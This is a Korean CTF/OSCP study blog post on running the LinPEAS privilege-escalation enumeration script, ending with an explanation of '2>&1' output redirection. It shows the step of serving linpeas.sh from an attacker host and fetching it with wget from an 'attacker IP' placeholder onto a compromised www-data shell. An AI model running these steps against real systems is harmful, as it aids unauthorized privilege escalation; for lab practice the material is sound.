linPEAS 실전

agnusdei·2025년 11월 23일

CTF

목록 보기
172/185

LinPEAS (Linux Privilege Escalation Awesome Script)는 리눅스 권한 상승(Linux Privilege Escalation)에 필요한 정보를 자동으로 수집하고, 잠재적인 취약점을 분석해 주는 스크립트 도구

LinPEAS 는 자동 툴이라 OSCP 에서는 금지

허용: 정보 수집 (Enumeration) 기능. -> 수집용으로만 사용하기
금지: 자동 악용 (Automated Exploitation) 기능.

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# 탐색만 실행
chmod +x linpeas.sh

# attacker -> 파일 실행 위치 주의
python3 -m http.server 80

# target
cd /tmp # 일반적으로 tmp 는 쓰기가 가능한 디렉토리이므로 이동해서 안전하게 다운로드 시도
wget http://공격자_IP/linpeas.sh

# 쓰기 권한이 가능한 디렉토리 찾기
find / -writable -type d 2>/dev/null

# 실행
/tmp/linpeas.sh > /tmp/linpeas_result.txt
# attacker Host -> linpeas.sh 파일이 있는 디렉토리에서 실행
python3 -m http.server 80
# target host
www-data@startup:/var/www/html$ cd /tmp
www-data@startup:/var/www/html$ wget http://공격자IP/linpeas.sh
www-data@startup:/tmp$ chmod +x linpeas.sh
www-data@startup:/tmp$ ./linpeas.sh > linpeas_result.txt 2>&1
  • 95% 이상이 공격벡터랑 직접 연결 됨
  • GTFOBins에 없더라도 빨강색 SUID/SGID 바이너리는 직접 실행, 코드 분석, 환경 변수·인자 오염, 취약점 검색 등으로 공격 벡터를 찾습니다. 자동화 툴이 알려주는 빨강색은 "직접 분석·공격해야 하는 대상"입니다.

🧐 명령어 분석: ./linpeas.sh > linpeas_result.txt 2>&1

이 명령어는 LinPEAS (Linux Privilege Escalation Awesome Script) 스크립트를 실행하고, 실행 과정에서 발생하는 모든 출력을 파일에 저장하도록 지시하는 명령어입니다. 이는 모의 해킹 환경에서 흔히 사용되는 표준 리눅스 쉘 리다이렉션 기법입니다.


1. 명령어 구성 요소별 분석

구성 요소설명기능
./linpeas.sh실행할 파일현재 디렉토리에 있는 linpeas.sh 스크립트를 실행합니다. (./은 현재 디렉토리를 의미합니다.)
>표준 출력 리다이렉션명령어의 표준 출력 (STDOUT\text{STDOUT})을 리다이렉션합니다.
linpeas_result.txt출력 파일 이름./linpeas.sh의 실행 결과가 저장될 파일 이름입니다.
2>표준 오류 리다이렉션명령어의 표준 오류 (STDERR\text{STDERR})를 리다이렉션합니다.
&1파일 디스크립터 지정2 (표준 오류)1 (표준 출력)같은 곳으로 보내라는 의미입니다.

2. 명령어의 작동 원리 (핵심)

이 명령어의 핵심은 > linpeas_result.txt2>&1의 조합입니다.

  • 표준 출력 (STDOUT\text{STDOUT}, 파일 디스크립터 1\mathbf{1}): LinPEAS 스크립트가 의도적으로 출력하는 정상적인 결과 내용 (예: 시스템 정보, 취약점 목록 등)은 linpeas_result.txt 파일로 저장됩니다.
    • ./linpeas.sh의 출력 (1\mathbf{1}) \rightarrow linpeas_result.txt
  • 표준 오류 (STDERR\text{STDERR}, 파일 디스크립터 2\mathbf{2}): LinPEAS 실행 중에 발생하는 오류 메시지경고 (예: 권한 문제로 파일을 읽지 못하는 경우)는 파일 디스크립터 2\mathbf{2}로 나옵니다.
  • 병합 (2>&1): 2>&1표준 오류 (2\mathbf{2})의 출력을 표준 출력 (1\mathbf{1})이 향하는 곳으로 보내라는 뜻입니다.
    • 1\mathbf{1}은 이미 linpeas_result.txt를 가리키고 있으므로, 오류 메시지까지 모두 linpeas_result.txt 파일에 함께 저장됩니다.

결론적으로, 이 명령어는 LinPEAS 실행 중 화면에 나타나는 정상 결과와 오류 메시지 모두linpeas_result.txt 파일 하나에 저장하는 역할을 합니다. 이는 나중에 결과를 깔끔하게 분석하기 위한 필수적인 작업입니다.

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글